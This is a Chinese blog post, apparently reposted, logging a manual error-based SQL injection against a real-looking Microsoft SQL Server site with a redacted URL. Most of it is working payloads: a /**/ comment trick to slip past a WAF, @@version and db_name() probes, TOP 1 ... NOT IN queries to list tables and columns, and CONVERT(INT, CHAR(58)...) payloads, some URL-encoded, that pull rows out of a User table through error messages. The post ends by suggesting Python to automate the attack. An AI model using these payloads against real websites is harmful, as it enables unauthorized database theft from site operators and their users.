1. 程式人生 > >記一次mssql手工注入

記一次mssql手工注入

記一次mssql手工注入

記錄一次mssql注入的過程,很多都是久的知識,大家當溫故而知新吧。

xxxx/xxx?nIDX=122‘
注入報錯,直接sqlmap跑,但有waf攔截;
只能進行fuzz了,發現select 和 from之間用/**/就可以繞過。
(1)首先檢視版本號:
由於是數字型的報錯,不用閉合單引號。直接@@version先檢視版本號:

Microsoft OLE DB Provider for SQL Server ���� '80040e07'
nvarchar �� 'Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) '
��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�.

(2)當前資料庫:
xxxx/xxx?nIDX=db_name()

Microsoft OLE DB Provider for SQL Server ���� '80040e07'
nvarchar �� 'lxxxo'��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�.

小技巧:
可以利用xxxx/xxx?nIDX=db_name(1),xxxx/xxx?nIDX=db_name(2),不停地遍歷db_name()裡面的內容,這過程可以放到burp裡面跑,然後正則抓取關鍵爆錯的資料庫。

(3)獲取資料庫之後,查看錶的資料,但這過程中不能出現單引號;
利用報錯注入爆資料表,在注入的過程中,發現用and進行注入時候不成功,只能用or,但其實or在注入的工程是很危險的,在sqlmap中設定危險等級比較高才能夠會出現,假如出問題的語句如下,就很危險:DELETE FROM test.users WHERE id=2 or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>1

爆資料庫第一個/**/or 1 = (SELECT TOP 1 table_name/**/FROM information_schema.tables)--

裡寫圖片描述
這裡寫圖片描述

爆其他資料表,用以下語句,不斷地遍歷top後面的數字可以查詢表的/**/or 1 = (SELECT TOP 1 table_name/**/FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 11 table_name/**/FROM information_schema.columns))--獲取欄位名,跟上面的語句差不多,但要修改table_name為column_name,第一個/**/or 1 = (SELECT TOP 1 column_name/**/FROM information_schema.columns)--裡寫圖片描述
這裡寫圖片描述

其他的欄位/**/or 1 = (SELECT TOP 1 column_name/**/FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1232 column_name/**/FROM information_schema.columns))--利用報錯語句獲得了表名和列名字,但是不知道哪個欄位對應哪個表,可以利用以下語句:當User表存在欄位id的時候,會返回正確,錯誤會報錯,這就有助於甄別哪個是正確的表/**/and%20exists(select%20id/**/from%20User)--獲取表裡面的內容,當想繼續利用爆表和爆欄位的語句進行報錯注入的時候,可能不成功了,也是單引號不能用,但可以利用convert()函式的高階顯錯特性:
獲取id第一個內容,但以下語句要urlenco/**/or/**/1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 id/**/FROM User)+CHAR(58)+CHAR(58)))-- %2a%2a%2for%2f%2a%2a%2f1%3DCONVERT%28INT%2C%28CHAR%2858%29%2bCHAR%2858%29%2b%28SELECT%20top%201%20id%2f%2a%2a%2fFROM%20User%29%2bCHAR%2858%29%2bCHAR%2858%29%29%29–%20

繼續爆表的其他內容:(遍歷top後面的數字,也是需要進行url加密才可繼續注入)

/**/or/**/1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT TOP 1 id/**/FROM User WHERE id NOT IN(SELECT TOP 1232 id/**/FROM User))+CHAR(58)+CHAR(58)))-- 

報錯資訊如下,payload已經可以利用,接下來可以利用python把整個過程自動化。
這裡寫圖片描述
做一個筆記,方便以後檢視。